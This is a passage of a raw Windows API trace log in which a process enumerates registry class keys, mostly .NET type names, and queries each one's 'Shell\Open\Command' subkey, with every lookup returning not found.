hKey=0x4c, lpSubKey="System.EnterpriseServices.Internal.AppDomainHelper\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.892] SetLastError (dwErrCode=0x2) [0101.892] RegCloseKey (hKey=0x0) returned 0x6 [0101.892] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xde3, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EnterpriseServices.Internal.AssemblyLocator") returned 0x0 [0101.892] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.EnterpriseServices.Internal.AssemblyLocator\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.892] SetLastError (dwErrCode=0x2) [0101.892] RegCloseKey (hKey=0x0) returned 0x6 [0101.892] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xde4, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EnterpriseServices.Internal.ClientRemotingConfig") returned 0x0 [0101.892] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.EnterpriseServices.Internal.ClientRemotingConfig\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.892] SetLastError (dwErrCode=0x2) [0101.892] RegCloseKey (hKey=0x0) returned 0x6 [0101.892] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xde5, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EnterpriseServices.Internal.ClrObjectFactory") returned 0x0 [0101.892] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.EnterpriseServices.Internal.ClrObjectFactory\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.892] SetLastError (dwErrCode=0x2) [0101.892] RegCloseKey (hKey=0x0) returned 0x6 [0101.892] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xde6, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EnterpriseServices.Internal.ComManagedImportUtil") returned 0x0 [0101.892] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.EnterpriseServices.Internal.ComManagedImportUtil\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.893] SetLastError (dwErrCode=0x2) [0101.893] RegCloseKey (hKey=0x0) returned 0x6 [0101.893] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xde7, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EnterpriseServices.Internal.ComSoapPublishError") returned 0x0 [0101.893] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.EnterpriseServices.Internal.ComSoapPublishError\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.893] SetLastError (dwErrCode=0x2) [0101.893] RegCloseKey (hKey=0x0) returned 0x6 [0101.893] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xde8, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EnterpriseServices.Internal.GenerateMetadata") returned 0x0 [0101.893] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.EnterpriseServices.Internal.GenerateMetadata\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.893] SetLastError (dwErrCode=0x2) [0101.893] RegCloseKey (hKey=0x0) returned 0x6 [0101.893] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xde9, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EnterpriseServices.Internal.IISVirtualRoot") returned 0x0 [0101.893] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.EnterpriseServices.Internal.IISVirtualRoot\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.893] SetLastError (dwErrCode=0x2) [0101.893] RegCloseKey (hKey=0x0) returned 0x6 [0101.893] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdea, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EnterpriseServices.Internal.Publish") returned 0x0 [0101.893] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.EnterpriseServices.Internal.Publish\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.893] SetLastError (dwErrCode=0x2) [0101.893] RegCloseKey (hKey=0x0) returned 0x6 [0101.893] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdeb, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EnterpriseServices.Internal.ServerWebConfig") returned 0x0 [0101.893] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.EnterpriseServices.Internal.ServerWebConfig\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.894] SetLastError (dwErrCode=0x2) [0101.894] RegCloseKey (hKey=0x0) returned 0x6 [0101.894] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdec, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EnterpriseServices.Internal.SoapClientImport") returned 0x0 [0101.894] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.EnterpriseServices.Internal.SoapClientImport\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.894] SetLastError (dwErrCode=0x2) [0101.894] RegCloseKey (hKey=0x0) returned 0x6 [0101.894] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xded, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EnterpriseServices.Internal.SoapServerTlb") returned 0x0 [0101.894] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.EnterpriseServices.Internal.SoapServerTlb\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.894] SetLastError (dwErrCode=0x2) [0101.894] RegCloseKey (hKey=0x0) returned 0x6 [0101.894] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdee, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EnterpriseServices.Internal.SoapServerVRoot") returned 0x0 [0101.894] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.EnterpriseServices.Internal.SoapServerVRoot\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.894] SetLastError (dwErrCode=0x2) [0101.894] RegCloseKey (hKey=0x0) returned 0x6 [0101.894] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdef, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EnterpriseServices.Internal.SoapUtility") returned 0x0 [0101.894] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.EnterpriseServices.Internal.SoapUtility\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.894] SetLastError (dwErrCode=0x2) [0101.894] RegCloseKey (hKey=0x0) returned 0x6 [0101.894] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdf0, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EnterpriseServices.RegistrationConfig") returned 0x0 [0101.894] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.EnterpriseServices.RegistrationConfig\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.894] SetLastError (dwErrCode=0x2) [0101.894] RegCloseKey (hKey=0x0) returned 0x6 [0101.895] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdf1, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EnterpriseServices.RegistrationHelper") returned 0x0 [0101.895] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.EnterpriseServices.RegistrationHelper\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.895] SetLastError (dwErrCode=0x2) [0101.895] RegCloseKey (hKey=0x0) returned 0x6 [0101.895] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdf2, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EnterpriseServices.RegistrationHelperTx") returned 0x0 [0101.895] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.EnterpriseServices.RegistrationHelperTx\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.895] SetLastError (dwErrCode=0x2) [0101.895] RegCloseKey (hKey=0x0) returned 0x6 [0101.895] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdf3, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EntryPointNotFoundException") returned 0x0 [0101.895] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.EntryPointNotFoundException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.895] SetLastError (dwErrCode=0x2) [0101.895] RegCloseKey (hKey=0x0) returned 0x6 [0101.895] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdf4, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EventArgs") returned 0x0 [0101.895] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.EventArgs\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.895] SetLastError (dwErrCode=0x2) [0101.895] RegCloseKey (hKey=0x0) returned 0x6 [0101.895] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdf5, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Exception") returned 0x0 [0101.895] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Exception\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.895] SetLastError (dwErrCode=0x2) [0101.895] RegCloseKey (hKey=0x0) returned 0x6 [0101.895] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdf6, lpName=0x2eef50, cchName=0x104 | out: lpName="System.ExecutionEngineException") returned 0x0 [0101.896] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.ExecutionEngineException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.896] SetLastError (dwErrCode=0x2) [0101.896] RegCloseKey (hKey=0x0) returned 0x6 [0101.896] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdf7, lpName=0x2eef50, cchName=0x104 | out: lpName="System.FieldAccessException") returned 0x0 [0101.896] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.FieldAccessException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.896] SetLastError (dwErrCode=0x2) [0101.896] RegCloseKey (hKey=0x0) returned 0x6 [0101.896] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdf8, lpName=0x2eef50, cchName=0x104 | out: lpName="System.FlagsAttribute") returned 0x0 [0101.896] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.FlagsAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.896] SetLastError (dwErrCode=0x2) [0101.896] RegCloseKey (hKey=0x0) returned 0x6 [0101.896] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdf9, lpName=0x2eef50, cchName=0x104 | out: lpName="System.FormatException") returned 0x0 [0101.896] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.FormatException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.896] SetLastError (dwErrCode=0x2) [0101.896] RegCloseKey (hKey=0x0) returned 0x6 [0101.896] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdfa, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Globalization.DateTimeFormatInfo") returned 0x0 [0101.896] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Globalization.DateTimeFormatInfo\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.896] SetLastError (dwErrCode=0x2) [0101.896] RegCloseKey (hKey=0x0) returned 0x6 [0101.896] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdfb, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Globalization.GregorianCalendar") returned 0x0 [0101.897] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Globalization.GregorianCalendar\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.897] SetLastError (dwErrCode=0x2) [0101.897] RegCloseKey (hKey=0x0) returned 0x6 [0101.897] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdfc, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Globalization.HebrewCalendar") returned 0x0 [0101.897] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Globalization.HebrewCalendar\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.897] SetLastError (dwErrCode=0x2) [0101.897] RegCloseKey (hKey=0x0) returned 0x6 [0101.897] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdfd, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Globalization.HijriCalendar") returned 0x0 [0101.897] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Globalization.HijriCalendar\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.897] SetLastError (dwErrCode=0x2) [0101.897] RegCloseKey (hKey=0x0) returned 0x6 [0101.897] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdfe, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Globalization.JapaneseCalendar") returned 0x0 [0101.897] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Globalization.JapaneseCalendar\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.897] SetLastError (dwErrCode=0x2) [0101.897] RegCloseKey (hKey=0x0) returned 0x6 [0101.897] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdff, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Globalization.JulianCalendar") returned 0x0 [0101.897] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Globalization.JulianCalendar\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.897] SetLastError (dwErrCode=0x2) [0101.897] RegCloseKey (hKey=0x0) returned 0x6 [0101.897] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe00, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Globalization.KoreanCalendar") returned 0x0 [0101.897] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Globalization.KoreanCalendar\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.898] SetLastError (dwErrCode=0x2) [0101.898] RegCloseKey (hKey=0x0) returned 0x6 [0101.898] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe01, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Globalization.NumberFormatInfo") returned 0x0 [0101.898] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Globalization.NumberFormatInfo\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.898] SetLastError (dwErrCode=0x2) [0101.898] RegCloseKey (hKey=0x0) returned 0x6 [0101.898] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe02, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Globalization.StringInfo") returned 0x0 [0101.898] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Globalization.StringInfo\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.898] SetLastError (dwErrCode=0x2) [0101.898] RegCloseKey (hKey=0x0) returned 0x6 [0101.898] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe03, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Globalization.TaiwanCalendar") returned 0x0 [0101.898] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Globalization.TaiwanCalendar\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.898] SetLastError (dwErrCode=0x2) [0101.898] RegCloseKey (hKey=0x0) returned 0x6 [0101.898] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe04, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Globalization.ThaiBuddhistCalendar") returned 0x0 [0101.898] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Globalization.ThaiBuddhistCalendar\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.898] SetLastError (dwErrCode=0x2) [0101.898] RegCloseKey (hKey=0x0) returned 0x6 [0101.898] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe05, lpName=0x2eef50, cchName=0x104 | out: lpName="System.IndexOutOfRangeException") returned 0x0 [0101.898] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.IndexOutOfRangeException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.899] SetLastError (dwErrCode=0x2) [0101.899] RegCloseKey (hKey=0x0) returned 0x6 [0101.899] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe06, lpName=0x2eef50, cchName=0x104 | out: lpName="System.InvalidCastException") returned 0x0 [0101.899] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.InvalidCastException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.899] SetLastError (dwErrCode=0x2) [0101.899] RegCloseKey (hKey=0x0) returned 0x6 [0101.899] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe07, lpName=0x2eef50, cchName=0x104 | out: lpName="System.InvalidOperationException") returned 0x0 [0101.899] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.InvalidOperationException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.899] SetLastError (dwErrCode=0x2) [0101.899] RegCloseKey (hKey=0x0) returned 0x6 [0101.899] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe08, lpName=0x2eef50, cchName=0x104 | out: lpName="System.InvalidProgramException") returned 0x0 [0101.899] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.InvalidProgramException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.899] SetLastError (dwErrCode=0x2) [0101.899] RegCloseKey (hKey=0x0) returned 0x6 [0101.899] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe09, lpName=0x2eef50, cchName=0x104 | out: lpName="System.IO.DirectoryNotFoundException") returned 0x0 [0101.899] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.IO.DirectoryNotFoundException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.899] SetLastError (dwErrCode=0x2) [0101.899] RegCloseKey (hKey=0x0) returned 0x6 [0101.899] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe0a, lpName=0x2eef50, cchName=0x104 | out: lpName="System.IO.DriveNotFoundException") returned 0x0 [0101.899] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.IO.DriveNotFoundException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.899] SetLastError (dwErrCode=0x2) [0101.899] RegCloseKey (hKey=0x0) returned 0x6 [0101.899] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe0b, lpName=0x2eef50, cchName=0x104 | out: lpName="System.IO.EndOfStreamException") returned 0x0 [0101.900] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.IO.EndOfStreamException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.900] SetLastError (dwErrCode=0x2) [0101.900] RegCloseKey (hKey=0x0) returned 0x6 [0101.900] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe0c, lpName=0x2eef50, cchName=0x104 | out: lpName="System.IO.FileLoadException") returned 0x0 [0101.900] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.IO.FileLoadException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.900] SetLastError (dwErrCode=0x2) [0101.900] RegCloseKey (hKey=0x0) returned 0x6 [0101.900] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe0d, lpName=0x2eef50, cchName=0x104 | out: lpName="System.IO.FileNotFoundException") returned 0x0 [0101.900] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.IO.FileNotFoundException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.900] SetLastError (dwErrCode=0x2) [0101.900] RegCloseKey (hKey=0x0) returned 0x6 [0101.900] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe0e, lpName=0x2eef50, cchName=0x104 | out: lpName="System.IO.IOException") returned 0x0 [0101.900] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.IO.IOException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.900] SetLastError (dwErrCode=0x2) [0101.900] RegCloseKey (hKey=0x0) returned 0x6 [0101.900] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe0f, lpName=0x2eef50, cchName=0x104 | out: lpName="System.IO.IsolatedStorage.IsolatedStorageException") returned 0x0 [0101.900] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.IO.IsolatedStorage.IsolatedStorageException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.900] SetLastError (dwErrCode=0x2) [0101.900] RegCloseKey (hKey=0x0) returned 0x6 [0101.900] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe10, lpName=0x2eef50, cchName=0x104 | out: lpName="System.IO.MemoryStream") returned 0x0 [0101.900] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.IO.MemoryStream\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.901] SetLastError (dwErrCode=0x2) [0101.901] RegCloseKey (hKey=0x0) returned 0x6 [0101.901] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe11, lpName=0x2eef50, cchName=0x104 | out: lpName="System.IO.PathTooLongException") returned 0x0 [0101.901] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.IO.PathTooLongException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.901] SetLastError (dwErrCode=0x2) [0101.901] RegCloseKey (hKey=0x0) returned 0x6 [0101.901] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe12, lpName=0x2eef50, cchName=0x104 | out: lpName="System.IO.StringWriter") returned 0x0 [0101.901] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.IO.StringWriter\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.901] SetLastError (dwErrCode=0x2) [0101.901] RegCloseKey (hKey=0x0) returned 0x6 [0101.901] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe13, lpName=0x2eef50, cchName=0x104 | out: lpName="System.MemberAccessException") returned 0x0 [0101.901] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.MemberAccessException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.901] SetLastError (dwErrCode=0x2) [0101.901] RegCloseKey (hKey=0x0) returned 0x6 [0101.901] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe14, lpName=0x2eef50, cchName=0x104 | out: lpName="System.MethodAccessException") returned 0x0 [0101.901] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.MethodAccessException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.901] SetLastError (dwErrCode=0x2) [0101.901] RegCloseKey (hKey=0x0) returned 0x6 [0101.901] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe15, lpName=0x2eef50, cchName=0x104 | out: lpName="System.MissingFieldException") returned 0x0 [0101.901] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.MissingFieldException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.901] SetLastError (dwErrCode=0x2) [0101.902] RegCloseKey (hKey=0x0) returned 0x6 [0101.902] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe16, lpName=0x2eef50, cchName=0x104 | out: lpName="System.MissingMemberException") returned 0x0 [0101.902] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.MissingMemberException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.902] SetLastError (dwErrCode=0x2) [0101.902] RegCloseKey (hKey=0x0) returned 0x6 [0101.902] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe17, lpName=0x2eef50, cchName=0x104 | out: lpName="System.MissingMethodException") returned 0x0 [0101.902] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.MissingMethodException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.902] SetLastError (dwErrCode=0x2) [0101.902] RegCloseKey (hKey=0x0) returned 0x6 [0101.902] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe18, lpName=0x2eef50, cchName=0x104 | out: lpName="System.MTAThreadAttribute") returned 0x0 [0101.902] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.MTAThreadAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.902] SetLastError (dwErrCode=0x2) [0101.902] RegCloseKey (hKey=0x0) returned 0x6 [0101.902] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe19, lpName=0x2eef50, cchName=0x104 | out: lpName="System.MulticastNotSupportedException") returned 0x0 [0101.902] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.MulticastNotSupportedException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.902] SetLastError (dwErrCode=0x2) [0101.902] RegCloseKey (hKey=0x0) returned 0x6 [0101.902] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe1a, lpName=0x2eef50, cchName=0x104 | out: lpName="System.NonSerializedAttribute") returned 0x0 [0101.902] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.NonSerializedAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.902] SetLastError (dwErrCode=0x2) [0101.902] RegCloseKey (hKey=0x0) returned 0x6 [0101.902] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe1b, lpName=0x2eef50, cchName=0x104 | out: 